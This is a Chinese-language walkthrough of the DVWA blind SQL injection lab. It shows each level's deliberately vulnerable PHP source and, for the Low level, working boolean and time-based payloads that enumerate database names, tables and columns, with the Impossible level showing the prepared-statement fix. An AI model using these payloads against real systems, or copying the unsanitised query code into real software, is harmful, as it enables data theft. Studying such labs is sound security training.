SQL Injection (Blind)

SQL 盲注

Low

源码解析

通过 $_GET 获取输入数据,未经检查和过滤,直接拼接到 SQL 查询语句中;返回内容为用户 ID 是否存在于数据库中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

布尔型盲注入

判断类型

和 SQL 注入的逻辑相同,以下输入查询成功,说明存在字符型 SQL 注入漏洞,因为输入后的形成的语句为 SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2' 逻辑上没有错误,因此查询成功返回;

若为数字型,则语句为 SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2,逻辑错误,查询失败。

1
1 and 1=2
数据库信息

首先 ID=1 存在数据库中,然后结合 length(database())=1, 当且仅当长度为 1 时条件为真,返回存在,否则返回不存在,可以利用其推测数据库名长度;

1
1' and length(database())=4#

利用 asciisubstr 推测数据库名的每个字符,通过判断 ascii 码大小确定字符。

1
1' and ascii(substr(database(),1,1))>97#
数据表信息

利用 COUNT 推测数据表的数量;

1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

接下来按照和推测数据库信息相同的步骤,推测数据表的长度和名称;

类似的方法推测数据表的字段数、字段名称;

1
1' and (select count(column_name) from information_schema.columns where table_name='users')=1#
1
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#

时间型盲注入

判断类型

根据返回的时间长短判断注入是否成功,延迟 10s 则表明为字符型 SQL 注入漏洞。

1
1' and sleep(10)#
数据库信息

利用条件语句判断数据库名长度,满足条件则延迟 10s ;

1
1' and if(length(database())=1,sleep(10),1)#

再利用条件语句推测数据库名的每个字符,满足条件则延迟 10s ;

1
1' and if(ascii(substr(database(),1,1))>97,sleep(10),1)#
数据表信息

利用条件语句和 COUNT 推测数据表的数量;

1
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(10),1)#

仍然是按照和推测数据库信息相同的步骤,推测数据表的长度和名称;

再用类似的方法推测数据表的字段数、字段名称;

1
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(10),1)#

参阅

Medium

源码解析

使用 POST 提交数据,从 $_POST 中获得数据,使用 mysqli_real_escape_string 过滤特殊字符,没有进一步进行检查和过滤就直接拼接到 SQL 查询语句中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

漏洞利用

由于是通过 POST 提交数据的,因此使用 Burp Suite 进行抓包和修改,分为布尔型和时间型;

以下输入返回不存在,说明是数字型 SQL 注入漏洞;

1
1 and 1=2

推测数据库名长度,其余注入方法和 Low 级别类似。

1
1 and length(database())=4#

参阅

High

源码解析

$_COOKIE 中获取数据,未经检查和过滤直接拼接到 SQL 查询语句中,查询时限制返回数量为 1 ,查询失败可能随机延迟 2~4 秒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

和 SQL 注入同级别的方法相同,点击后出现新页面,打开浏览器的开发者工具,可以看到是通过 POST 提交;

利用 Burp Suite 抓包修改 Cookie,判断是字符型 SQL 注入漏洞;

其余注入方法和 Low 级别相同。

参阅

Impossioble

源码解析

添加 Anti-CSRF Token 来避免 CSRF 攻击;从 $_GET 中获取参数,使用 is_numeric 检查数据类型;使用预处理的 SQL 查询语句,当查询结果只有一条时才输出存在于数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

参阅